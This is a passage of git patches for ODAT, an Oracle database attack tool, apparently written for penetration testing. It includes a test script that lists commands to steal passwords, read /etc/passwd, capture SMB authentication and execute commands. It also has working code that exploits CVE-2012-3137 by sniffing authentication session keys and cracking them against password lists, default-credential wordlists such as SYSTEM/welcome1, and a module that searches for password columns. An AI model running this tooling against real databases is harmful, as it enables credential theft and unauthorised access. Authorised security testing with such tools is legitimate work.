utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt" + "$ODATBIN dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" + "$ODATBIN java -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords-from-history" + "$ODATBIN passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords" + "$ODATBIN oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" + "sudo $ODATBIN stealremotepwds -s $SERVER -d $SID --test-module" + "sudo $ODATBIN stealremotepwds -s $SERVER -d $SID --user-list accounts_small.txt --get-all-passwords" + "sudo chmod o+r sessions-$SERVER-1521-$SID.odat.challenge; $ODATBIN stealremotepwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.odat.challenge accounts_small.txt" + "$ODATBIN dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt" + "$ODATBIN smb -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "$ODATBIN smb -s $SERVER -d $SID -U $USER -P $PASSWORD --capture 127.0.0.1 SHARE" ) function isGoodReturnValue { From bdc023ab6607f32008b198a60a1a6c18c03a311d Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Thu, 6 Nov 2014 15:59:08 +0100 Subject: [PATCH 55/83] Catch a new error: Unable to acquire Oracle environment handle --- OracleDatabase.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/OracleDatabase.py b/OracleDatabase.py index fddca9c..573fe70 100644 --- a/OracleDatabase.py +++ b/OracleDatabase.py @@ -28,7 +28,8 @@ def __init__(self,args): self.ERROR_INSUFF_PRIV_CONN = "ORA-01031: insufficient privileges" self.ERROR_CONN_IMPOSS = "ORA-12541: TNS:no listener" self.ERROR_XML_DB_SECU_NOT_INST = "ORA-24248: XML DB extensible security not installed" - + self.ERROR_UNABLE_TO_ACQUIRE_ENV = "Unable to acquire Oracle environment handle" + def __generateConnectionString__(self): ''' Generate Oracle Database connection string @@ -56,7 +57,7 @@ def connection(self,threaded =True, stopIfError=False): if self.remoteOS == '' and self.oracleDatabaseversion=='' : self.loadInformationRemoteDatabase() return True except Exception, e: - if self.ERROR_CONN_IMPOSS in str(e): + if self.ERROR_CONN_IMPOSS in str(e) or self.ERROR_UNABLE_TO_ACQUIRE_ENV in str(e): logging.critical("Impossible to connect to the remost host") exit(EXIT_BAD_CONNECTION) elif self.ERROR_NOT_SYSDBA in str(e): From 0ead3ac4b72b49f13d49e89c812dfce504c4848e Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Thu, 6 Nov 2014 17:29:41 +0100 Subject: [PATCH 56/83] Delete a var --- createALinuxBinary.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/createALinuxBinary.sh b/createALinuxBinary.sh index f8609bc..4ef73c2 100755 --- a/createALinuxBinary.sh +++ b/createALinuxBinary.sh @@ -2,7 +2,6 @@ GLIBC_VERSION=`ldd --version | grep ldd | grep -o ')[^"]*' | sed "s/) //g"` VERSION="libc$GLIBC_VERSION-`uname -m`" PYINSTALLER="/usr/local/bin/pyinstaller" #or "/opt/python2.7.8/bin/pyinstaller" -ORACLE_HOME="/usr/lib/oracle/11.2/client64/" #Creation if which $PYINSTALLER >/dev/null; then echo "Pyinstaller has been found: good news :)" From 4ba9cc65c66b443a3a83e39ebd6031d9d4711110 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Mon, 10 Nov 2014 21:28:03 +0100 Subject: [PATCH 57/83] Now, by default, ODAT checks if the CVE-2012-3137 is exploitable (thanks to VPU for the idea :)). For example, --test-module will capture an authentication session and will use credentials given by the user to check automatically if the result is good (==> database vulnerable) Need to be root to capture an authentication to the database. --- CVE_2012_3137.py | 88 ++++++++++++++++++++++++++++++++++++++---------- Utils.py | 2 +- odat.py | 2 ++ 3 files changed, 73 insertions(+), 19 deletions(-) diff --git a/CVE_2012_3137.py b/CVE_2012_3137.py index 3e71fff..b3d0a03 100644 --- a/CVE_2012_3137.py +++ b/CVE_2012_3137.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- import logging, string, re, sys -from Utils import execSystemCmd, checkOptionsGivenByTheUser +from Utils import execSystemCmd, checkOptionsGivenByTheUser, anAccountIsGiven from OracleDatabase import OracleDatabase from time import sleep import hashlib @@ -54,6 +54,7 @@ def __resetSessionKeyValueAndSalt__(self): ''' global sessionKey, salt sessionKey, salt = "", "" + logging.debug('Session key and salt are now emply') def getKeys(self): ''' @@ -84,7 +85,9 @@ def customAction(packet): raw = repr(packet[2].getlayer(scapyall.Raw).load) if "AUTH_SESSKEY" in raw and "AUTH_VFR_DATA" in raw: sessionKey = re.findall(r"[0-9a-fA-F]{96}" ,raw[raw.index("AUTH_SESSKEY"):raw.index("AUTH_VFR_DATA")]) - if sessionKey != [] : sessionKey = sessionKey[0] + if sessionKey != [] : + sessionKey = sessionKey[0] + logging.info ("We have captured the session key: {0}".format(sessionKey)) try : authVFRindex = raw.index("AUTH_VFR_DATA") except : logging.warning("The following string doesn't contain AUTH_VFR_DATA: {0}".format(raw)) else: @@ -92,7 +95,9 @@ def customAction(packet): except : logging.warning("The following string doesn't contain AUTH_GLOBALLY_UNIQUE_DBID: {0}".format(raw)) else: salt = re.findall(r"[0-9a-fA-F]{22}" ,raw[authVFRindex:authGloIndex]) - if salt != [] : salt = salt[0][2:] + if salt != [] : + salt = salt[0][2:] + logging.info ("We have captured the salt: {0}".format(salt)) finally: return True return False @@ -101,12 +106,15 @@ def customAction(packet): scapyall.sniff(filter="tcp and host {0} and port {1}".format(ip,port), count=self.MAX_PACKET_TO_CAPTURE, timeout=self.TIMEOUT, stop_filter=customAction,store=False) return sessionKey, salt - def __try_to_connect__(self,args): + def __try_to_connect__(self, args): ''' + Establish a connection to the database ''' import cx_Oracle try: - cx_Oracle.connect("{0}/{1}@{2}:{3}/{4}".format(self.args['user'],self.args['password'],self.args['server'],self.args['port'],self.args['sid'])) + connectString = "{0}/{1}@{2}:{3}/{4}".format(self.args['user'], 'aaaaaaa', self.args['server'], self.args['port'], self.args['sid']) + logging.debug("Connecting with {0}".format(connectString)) + cx_Oracle.connect(connectString) except Exception, e: pass @@ -116,9 +124,9 @@ def getAPassword(self,user): logging.debug("Sniffing is running in a new thread") a = Thread(None, self.__sniff_sessionkey_and_salt__, None, (), {'ip':self.args['server'],'port':self.args['port']}) a.start() + logging.debug("Waiting 3 seconds") sleep(3) - logging.debug("Connection to the database via a new thread") - self.args['user'], self.args['password'] = user, 'a' + logging.debug("Connection to the database via a new thread with the username {0}".format(self.args['user'])) b = Thread(None, self.__try_to_connect__, None, (), {'args':self.args}) b.start() b.join() @@ -144,18 +152,19 @@ def getPasswords(self): sleep(self.timeSleep) pbar.finish() + def __decryptKey__(self, session, salt, password): + ''' + ''' + pass_hash = hashlib.sha1(password+salt) + key = pass_hash.digest() + '\x00\x00\x00\x00' + decryptor = AES.new(key,AES.MODE_CBC,'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') + plain = decryptor.decrypt(session) + return plain def decryptKeys(self, sessionFile, passwdFile): ''' decrypt keyx ''' - def __decryptKey__(session,salt,password): - pass_hash = hashlib.sha1(password+salt) - key = pass_hash.digest() + '\x00\x00\x00\x00' - decryptor = AES.new(key,AES.MODE_CBC,'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') - plain = decryptor.decrypt(session) - return plain - #Nb sessions fsession, nbsession = open(sessionFile), 0 for l in fsession: nbsession+=1 @@ -183,7 +192,7 @@ def __decryptKey__(session,salt,password): nb +=1 pbar.update(nb) password = password.replace('\n','').replace('\t','') - session_id = __decryptKey__(session_hex.decode('hex'),salt_hex.decode('hex'),password) + session_id = self.__decryptKey__(session_hex.decode('hex'),salt_hex.decode('hex'),password) if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': self.passwdFound.append([user,password]) self.args['print'].goodNews("{0} password:{1}".format(user,password)) @@ -194,13 +203,56 @@ def __decryptKey__(session,salt,password): fsession.close() return self.passwdFound + def isVulnerable (self, user, password): + ''' + Capture the challenge with the login and tries to recover the password with password + Return True if the remote database is vulnerable + Return False if not vulnerable. + Return an error if an error. + ''' + global sessionKey, salt + logging.info("Try to know if the database server is vulnerable to the CVE-2012-3137") + sessionKey, salt = "", "" + self.getAPassword(user) + if sessionKey != '' and salt != '': + logging.info("The challenge captured for the user {0}: key:'{1}', salt='{2}'".format(user, sessionKey, salt)) + session_id = self.__decryptKey__(sessionKey.decode('hex'),salt.decode('hex'),password) + if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': + logging.info ("The database is vulnerable! Indeed, the result is good when you use the password '{0}' to decrypt the key '{1}' of the user {2} with the salt '{3}'".format(password, sessionKey, user, salt)) + return True + else: + logging.info ("The password {0} is not used in the challenge of the user {1}. Consequently, not vulnerable".format(password, user)) + return False + else: + logging.info ("The challenge captured is empty") + return False + def testAll (self): ''' Test all functions ''' - self.args['print'].subtitle("CVE-2012-3137 library ?") - self.args['print'].unknownNews("I can't know if it is vulnerable") - + self.args['print'].subtitle("Vulnerable to the CVE-2012-3137 ?") + #self.args['print'].unknownNews("I can't know if it is vulnerable") + if self.args.has_key('user') == False or self.args.has_key('password') == False or self.args['user'] == None or self.args['password'] == None : + self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137.\nYou need to give VALID credentials on the database (-U and -P). Otherwise, the tool can't know if the database is vulnerable...") + else: + if 1==1: + if geteuid() != 0: + self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137. You need to run this as root because it needs to sniff authentications to the database") + else: + vulneable = self.isVulnerable (self.args['user'], self.args['password']) + if vulneable == True: + self.args['print'].goodNews("OK") + elif vulneable == False: + self.args['print'].badNews("KO") + else: + self.args['print'].badNews("There is an error {0}".format(vulnerable)) + ''' + if geteuid() != 0: + args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database") + else: + args['print'].info("Getting remote passwords on the {0} server, port {1}".format(self.args['server'],self.args['port'])) + ''' def runCVE20123137Module(args): ''' diff --git a/Utils.py b/Utils.py index 192d9ed..e52fc00 100644 --- a/Utils.py +++ b/Utils.py @@ -133,7 +133,7 @@ def anAccountIsGiven (args): - oeprations muste be a list - args must be a dictionnary ''' - if args['user'] == None and args['password'] == None: + if (args.has_key('user') ==False or args.has_key('password') == False) or (args['user'] == None and args['password'] == None): logging.critical("You must give a valid account with the '-U username' option and the '-P password' option.") return False elif args['user'] != None and args['password'] == None: diff --git a/odat.py b/odat.py index eecd624..b26512d 100755 --- a/odat.py +++ b/odat.py @@ -309,6 +309,8 @@ def main(): PPstealRemotePass.add_argument('-s', dest='server', required=True, help='server') PPstealRemotePass.add_argument('-p', dest='port', default=1521, required=False, help='port (Default 1521)') PPstealRemotePass.add_argument('-d', dest='sid', required=False, help='Oracle System ID (SID)') + PPstealRemotePass.add_argument('-U', dest='user', required=False, help='Valid Oracle username') + PPstealRemotePass.add_argument('-P', dest='password', required=False, default=None, help='Valid Oracle password') PPstealRemotePass.add_argument('--get-all-passwords',dest='get-all-passwords',action='store_true',default=None,required=False,help='get all hashed passwords thanks to the user/password list') PPstealRemotePass.add_argument('--decrypt-sessions',dest='decrypt-sessions',nargs=2,metavar=('sessionList.txt','passwordList.txt'),default=None,required=False,help='decrypt sessions stored in a file') PPstealRemotePass.add_argument('--user-list',dest='user-list',required=False,metavar="FILE",default=DEFAULT_ACCOUNT_FILE,help='file containing Oracle credentials (default: %(default)s)') From f002c0b80ab10506bc81b06ecc13b8d85e138fbf Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Mon, 17 Nov 2014 11:30:02 +0100 Subject: [PATCH 58/83] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index bce024d..72f6ead 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +__ODAT linux standalone__ version at [https://github.com/quentinhardy/odat-standalones](https://github.com/quentinhardy/odat-standalones) + ODAT ==== From 09c5ae7db2fd45554986727fc29a2128e29700d6 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Mon, 1 Dec 2014 16:56:26 +0100 Subject: [PATCH 59/83] Fix the error "AttributeError: 'list' object has no attribute 'decode'" --- CVE_2012_3137.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CVE_2012_3137.py b/CVE_2012_3137.py index b3d0a03..7b34ea7 100644 --- a/CVE_2012_3137.py +++ b/CVE_2012_3137.py @@ -214,8 +214,8 @@ def isVulnerable (self, user, password): logging.info("Try to know if the database server is vulnerable to the CVE-2012-3137") sessionKey, salt = "", "" self.getAPassword(user) - if sessionKey != '' and salt != '': - logging.info("The challenge captured for the user {0}: key:'{1}', salt='{2}'".format(user, sessionKey, salt)) + logging.info("The challenge captured for the user {0}: key='{1}', salt='{2}'".format(user, sessionKey, salt)) + if sessionKey != '' and salt != '' and sessionKey != [] and salt != []: session_id = self.__decryptKey__(sessionKey.decode('hex'),salt.decode('hex'),password) if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': logging.info ("The database is vulnerable! Indeed, the result is good when you use the password '{0}' to decrypt the key '{1}' of the user {2} with the salt '{3}'".format(password, sessionKey, user, salt)) From 1b13e3c89a67bf950f50cbd1b95260776c7f99ea Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Wed, 3 Dec 2014 17:57:55 +0100 Subject: [PATCH 60/83] FIX many False positive :) Detect errors with ORA code only (ex: ORA-01031) and not with ORA code + description (ex: 'ORA-01031: privileges insuffisants'). --- ExternalTable.py | 4 ++-- Http.py | 12 ++++++------ OracleDatabase.py | 14 +++++++------- 3 files changed, 15 insertions(+), 15 deletions(-) diff --git a/ExternalTable.py b/ExternalTable.py index 0cdbd2c..780a08c 100644 --- a/ExternalTable.py +++ b/ExternalTable.py @@ -18,8 +18,8 @@ def __init__(self,args): DirectoryManagement.__init__(self,args) self.tableName = self.__generateRandomString__() self.__setDirectoryName__() - self.ERROR_EXTERNAL_TABLE_WITH_WRITE = "ORA-30653: reject limit reached" - self.ERROR_EXTERNAL_TABLE_READ ="ORA-29400: data cartridge error" + self.ERROR_EXTERNAL_TABLE_WITH_WRITE = "ORA-30653: " + self.ERROR_EXTERNAL_TABLE_READ ="ORA-29400: " def __createTableForReadFile__(self,remoteNameFile): ''' diff --git a/Http.py b/Http.py index 77af736..c0c2c6f 100644 --- a/Http.py +++ b/Http.py @@ -19,12 +19,12 @@ def __init__(self,args): ''' logging.debug("Http object created") OracleDatabase.__init__(self,args) - self.ERROR_NO_HTTP = "ORA-29263: HTTP protocol error" - self.ERROR_PROTOCOL = "ORA-29259: end-of-input reached" - self.ERROR_NO_OPEN = "ORA-12541: TNS:no listener" - self.ERROR_TIMEOUT = "ORA-12535: TNS:operation timed out" - self.ERROR_TRANSF_TIMEOUT = "ORA-29276: transfer timeout" - self.ERROR_UTL_TCP_NETWORK = "ORA-29260: network error" + self.ERROR_NO_HTTP = "ORA-29263: " + self.ERROR_PROTOCOL = "ORA-29259: " + self.ERROR_NO_OPEN = "ORA-12541: " + self.ERROR_TIMEOUT = "ORA-12535: " + self.ERROR_TRANSF_TIMEOUT = "ORA-29276: " + self.ERROR_UTL_TCP_NETWORK = "ORA-29260: " class scanAPort(threading.Thread): diff --git a/OracleDatabase.py b/OracleDatabase.py index 573fe70..63e732e 100644 --- a/OracleDatabase.py +++ b/OracleDatabase.py @@ -21,13 +21,13 @@ def __init__(self,args): self.remoteOS = '' self.TARGET_UNAVAILABLE = ["Connect failed because target host or object does not exist", "listener could not find available handler with matching protocol stack"] - self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV = "ORA-29283: invalid file operation" - self.ERROR_NO_PRIVILEGE = "ORA-24247: network access denied" - self.ERROR_NO_PRIVILEGE_INVALID_ID = "ORA-00904: : invalid identifier" - self.ERROR_NOT_SYSDBA = "ORA-28009: connection as SYS should be as SYSDBA or SYSOPER" - self.ERROR_INSUFF_PRIV_CONN = "ORA-01031: insufficient privileges" - self.ERROR_CONN_IMPOSS = "ORA-12541: TNS:no listener" - self.ERROR_XML_DB_SECU_NOT_INST = "ORA-24248: XML DB extensible security not installed" + self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV = "ORA-29283: " + self.ERROR_NO_PRIVILEGE = "ORA-24247: " + self.ERROR_NO_PRIVILEGE_INVALID_ID = "ORA-00904: " + self.ERROR_NOT_SYSDBA = "ORA-28009: " + self.ERROR_INSUFF_PRIV_CONN = "ORA-01031: " + self.ERROR_CONN_IMPOSS = "ORA-12541: " + self.ERROR_XML_DB_SECU_NOT_INST = "ORA-24248: " self.ERROR_UNABLE_TO_ACQUIRE_ENV = "Unable to acquire Oracle environment handle" def __generateConnectionString__(self): From aab7950841fdcd0a450e4e1d70b37183306c4491 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Sun, 7 Dec 2014 11:16:50 +0100 Subject: [PATCH 61/83] Update the version --- Constants.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Constants.py b/Constants.py index 62ddde7..07e0661 100644 --- a/Constants.py +++ b/Constants.py @@ -15,7 +15,7 @@ By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) """ -CURRENT_VERSION = "Version 1.3 - 2014/10/07" +CURRENT_VERSION = "Version 1.4 - 2014/12/07" DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=60 DEFAULT_SID_FILE = "sids.txt" From c0ab17d61686b3efd31ee233ac2dc90c14e0d186 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Sun, 7 Dec 2014 11:29:53 +0100 Subject: [PATCH 62/83] Information about new version --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 72f6ead..96cfda9 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,9 @@ Tested on Oracle Database __10g__ and __11g__. Changelog ==== +* Version __1.4__ (__2014/12/07__) : + * fix some false positives + * improve the CVE-2012-3137 module: check more easily if the vulnerability can be exploited * Version __1.3__ (__2014/10/07__) : * add the *-C* option in the *all* module. This module can be used to use file which contains credentials (disable the *-U* and *-P* option) * add the *tnscmd* module to get TNS *alias*, database *version* (thanks to VSNNUM) and TNS *status* From 6b9664515964363de43f3e4b8cfb1d818fe10179 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Sun, 7 Dec 2014 11:58:57 +0100 Subject: [PATCH 63/83] update information about standalone --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 96cfda9..454c5f9 100644 --- a/README.md +++ b/README.md @@ -98,7 +98,7 @@ Installation (optional) ==== This part describes how to install instantclient, CX_Oracle and some others python libraries on __Ubuntu__ in order to have the ODAT development version. -Don't forget that an ODAT standalone version exists in *build*: __It is not required to install something for use the standalone version :)__ +Don't forget that an ODAT standalone version exists at [https://github.com/quentinhardy/odat-standalones](https://github.com/quentinhardy/odat-standalones): __It is not required to install something for use the standalone version__ * Get instant client basic, sdk (devel) and sqlplus from the Oracle web site: * X64: http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html From 4155577b70e4847f4ea1ae5053ede326eeecddf1 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 24 Feb 2015 10:52:01 +0100 Subject: [PATCH 64/83] New default password for user SYSTEM --- accounts.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/accounts.txt b/accounts.txt index 38f5ec7..07dcc7b 100644 --- a/accounts.txt +++ b/accounts.txt @@ -408,6 +408,7 @@ SYSADMIN/SYSADMIN SYSADM/SYSADM SYSMAN/SYSMAN SYSTEM/SYSTEM +SYSTEM/welcome1 TAHITI/TAHITI TALBOT/MT6CH5 TDOS_ICSAP/TDOS_ICSAP From 347f14f5a46d69df0fe8aa2bcbbe63d0d39d7c45 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 24 Feb 2015 10:57:43 +0100 Subject: [PATCH 65/83] New accounts --- accounts_multiple.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/accounts_multiple.txt b/accounts_multiple.txt index 1b1061e..245fb21 100644 --- a/accounts_multiple.txt +++ b/accounts_multiple.txt @@ -515,6 +515,8 @@ SYSTEM/ORACLE9 SYSTEM/ORACLE9I SYSTEM/SYSTEM SYSTEM/SYSTEMPASS +SYSTEM/welcome1 +SYSTEM/oracle TAHITI/TAHITI TALBOT/MT6CH5 TDOS_ICSAP/TDOS_ICSAP From bf3c9cf568408724f2ab755edace4064a4f3f288 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 24 Feb 2015 11:16:29 +0100 Subject: [PATCH 66/83] Move accounts files --- Constants.py | 2 +- accounts.txt => accounts/accounts.txt | 0 accounts_multiple.txt => accounts/accounts_multiple.txt | 0 accounts_small.txt => accounts/accounts_small.txt | 0 4 files changed, 1 insertion(+), 1 deletion(-) rename accounts.txt => accounts/accounts.txt (100%) rename accounts_multiple.txt => accounts/accounts_multiple.txt (100%) rename accounts_small.txt => accounts/accounts_small.txt (100%) diff --git a/Constants.py b/Constants.py index 07e0661..481fae5 100644 --- a/Constants.py +++ b/Constants.py @@ -19,7 +19,7 @@ DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=60 DEFAULT_SID_FILE = "sids.txt" -DEFAULT_ACCOUNT_FILE = "accounts.txt" +DEFAULT_ACCOUNT_FILE = "accounts/accounts.txt" DEFAULT_TIME_SLEEP = 0 DEFAULT_SID_CHARSET = string.ascii_uppercase EXIT_NO_SIDS = 100 diff --git a/accounts.txt b/accounts/accounts.txt similarity index 100% rename from accounts.txt rename to accounts/accounts.txt diff --git a/accounts_multiple.txt b/accounts/accounts_multiple.txt similarity index 100% rename from accounts_multiple.txt rename to accounts/accounts_multiple.txt diff --git a/accounts_small.txt b/accounts/accounts_small.txt similarity index 100% rename from accounts_small.txt rename to accounts/accounts_small.txt From 512035bb6bfbb8c75cb847a95f4f750151544697 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 17 Mar 2015 15:41:17 +0100 Subject: [PATCH 67/83] New module to search in columns --- Search.py | 138 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 138 insertions(+) create mode 100644 Search.py diff --git a/Search.py b/Search.py new file mode 100644 index 0000000..fd1cf6c --- /dev/null +++ b/Search.py @@ -0,0 +1,138 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging +from Constants import * +from Utils import checkOptionsGivenByTheUser, getScreenSize +from texttable import Texttable + +class Search (OracleDatabase): + ''' + Serach in Databases, tables and columns + ''' + + REQ_INFO_FROM_COLUMN_NAMES = "SELECT owner, table_name, column_name FROM all_tab_columns WHERE column_name LIKE '{0}'" #{0}==pattern + REQ_VALUE_IN_COLUMN = 'SELECT "{0}" FROM "{1}"."{2}" WHERE "{0}" is not null and rownum = 1' #{0}==column, {1}==database, {2}==table + DEFAULT_VALUE_EMPTY_COLUMN = "(Empty Column)" + DEFAULT_VALUE_UNKNOWN = "(Unknown)" + EXEMPLE_VALUE_LEN_MAX = 40 + TRUNCATED_MESSAGE_EXEMPLE = '(Truncated...)' + + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Search object created") + OracleDatabase.__init__(self,args) + + def searchInColumns(self, sqlPattern, showEmptyColumns): + ''' + Search sqlpattern in all columns names + returns a list which contains dicos ex: [{'columnName': 'passwd', 'tableName':'users', 'database':'mysite'}{'columnName': 'password', 'tableName':'users', 'database':'mysitetemp'}] + ''' + logging.info("Searching pattern '{0}' in column names".format(sqlPattern.upper())) + results = self.__execQuery__(query=self.REQ_INFO_FROM_COLUMN_NAMES.format(sqlPattern.upper()), ld=['owner', 'table_name', 'column_name']) + table = self.getInfoIntable(results, ["owner","table_name","column_name", "example"], showEmptyColumns=showEmptyColumns) + return table + + def searchPwdKeyworkInColumnNames(self, showEmptyColumns): + ''' + Search sqlpattern in all columns names + returns a list which contains dicos ex: [{'columnName': 'passwd', 'tableName':'users', 'database':'mysite'}{'columnName': 'password', 'tableName':'users', 'database':'mysitetemp'}] + ''' + tables = "" + for aPattern in PATTERNS_COLUMNS_WITH_PWDS: + table = self.searchInColumns(aPattern, showEmptyColumns=showEmptyColumns) + if self.isEmptyTable(table) == True : + logging.debug("Nothing to print. Doesn't print the header of the table!") + else : + logging.debug("Some results, saved") + try : + tables += "'"+aPattern+"' in column names:\n"+table+"\n\n" + except UnicodeDecodeError,e: + print "------->"+e + return tables + + def getInfoIntable(self,listOfDicos, columns, showEmptyColumns): + ''' + columns: list which contains column names for the output + returns a String for print + ''' + isStringValueInColumn = False + resultsToTable = [columns] + colNb = len(listOfDicos) + if colNb>0 : pbar,currentColNum = self.getStandardBarStarted(colNb), 0 + for e in listOfDicos : + isStringValueInColumn = False + if colNb>0 : currentColNum += 1 + if colNb>0 : pbar.update(currentColNum) + l = [] + l.append(e['owner']) + l.append(e['table_name']) + l.append(e['column_name']) + logging.debug("Search a not null value in the column '{0}' of the table '{1}'.'{2}' ({3}/{4})".format(e['column_name'], e['owner'], e['table_name'],currentColNum,colNb)) + req_value_in_column = self.REQ_VALUE_IN_COLUMN.format(e['column_name'],e['owner'],e['table_name']) + aValue = self.__execQuery__(query=req_value_in_column, ld=['value']) + if isinstance(aValue,Exception): + logging.warning("Impossible to execute the request '{0}' in column names: {1}".format(req_value_in_column, aValue.generateInfoAboutError(req_value_in_column))) + l.append(self.DEFAULT_VALUE_UNKNOWN) + elif aValue == [] : l.append(self.DEFAULT_VALUE_EMPTY_COLUMN) + else : + value = aValue[0]['value'] + if type(value) is str: + isStringValueInColumn = True + if len(value) > self.EXEMPLE_VALUE_LEN_MAX: + value = value[0:self.EXEMPLE_VALUE_LEN_MAX] + ' ' +self.TRUNCATED_MESSAGE_EXEMPLE + l.append(value) + else: l.append(self.DEFAULT_VALUE_EMPTY_COLUMN) + if isStringValueInColumn == True : + resultsToTable.append(l) + elif showEmptyColumns==True : + resultsToTable.append(l) + if colNb>0 : pbar.finish() + table = Texttable(max_width=getScreenSize()[0]) + table.set_deco(Texttable.HEADER) + table.add_rows(resultsToTable) + return table.draw() + + def isEmptyTable (self, table): + """ + String table + """ + if table.count('\n') <= 1 : + return True + else : + return False + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("Search in column names ?") + logging.info('Nothing to do, return True') + self.args['print'].goodNews("OK") + return True + +def runSearchModule(args): + ''' + Run the Search module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","column-names","pwd-column-names"]) == False : return EXIT_MISS_ARGUMENT + search = Search(args) + status = search.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the Search module can be used") + status = search.testAll() + if args.has_key('column-names')==True and args['column-names']!=None: + args['print'].title("Columns which contains the pattern '{0}'".format(args['column-names'])) + table = search.searchInColumns(args['column-names'],showEmptyColumns=args['show-empty-columns']) + if search.isEmptyTable(table) == True : + args['print'].badNews("no result found") + else : + args['print'].goodNews(table) + if args['pwd-column-names']==True: + args['print'].title("Columns which contains the pattern ~password~ like (multi language)") + table = search.searchPwdKeyworkInColumnNames(showEmptyColumns=args['show-empty-columns']) + args['print'].goodNews(table) From 9f8552e0b47f0bed721a929aeaa8d150a26c4294 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 17 Mar 2015 15:41:45 +0100 Subject: [PATCH 68/83] Improvements --- Constants.py | 22 +++++++++++++++++++++- Http.py | 4 +++- OracleDatabase.py | 20 ++++++++++++++------ Output.py | 7 ++++++- Passwords.py | 2 +- README.md | 37 ++++++++++++++++++++++++++++++++++--- Utils.py | 10 +++++++++- odat.py | 21 ++++++++++++++++++--- testAllOdatModules.sh | 20 ++++++++++++-------- texttable.py | 3 ++- 10 files changed, 120 insertions(+), 26 deletions(-) diff --git a/Constants.py b/Constants.py index 481fae5..809b857 100644 --- a/Constants.py +++ b/Constants.py @@ -1,3 +1,4 @@ +# -*- coding: utf-8 -* import string DESCRIPTION = ""\ @@ -15,7 +16,7 @@ By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) """ -CURRENT_VERSION = "Version 1.4 - 2014/12/07" +CURRENT_VERSION = "Version 1.5 - 2014/03/17" DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=60 DEFAULT_SID_FILE = "sids.txt" @@ -33,3 +34,22 @@ PASSWORD_EXTENSION_FILE = ".odat.save" CHALLENGE_EXT_FILE = ".odat.challenge" SHOW_SQL_REQUESTS_IN_VERBOSE_MODE = False +MAX_WIDTH_TEXTTABLES = 120 +DEFAULT_ENCODING = 'utf8' +#SEARCH module +PATTERNS_COLUMNS_WITH_PWDS = [ + '%motdepasse%', + '%mot_de_passe%', + '%mdp%', + '%pwd%', + '%passswd%', + "%password%", + "%contraseña%", + "%clave%", + "%chiave%", + "%пароль%", + "%wachtwoord%", + "%Passwort%", + "%hasło%", + "%senha%", + ] diff --git a/Http.py b/Http.py index c0c2c6f..42c6bc8 100644 --- a/Http.py +++ b/Http.py @@ -8,6 +8,8 @@ from texttable import Texttable from Utils import areEquals import os +from Constants import * +from Utils import 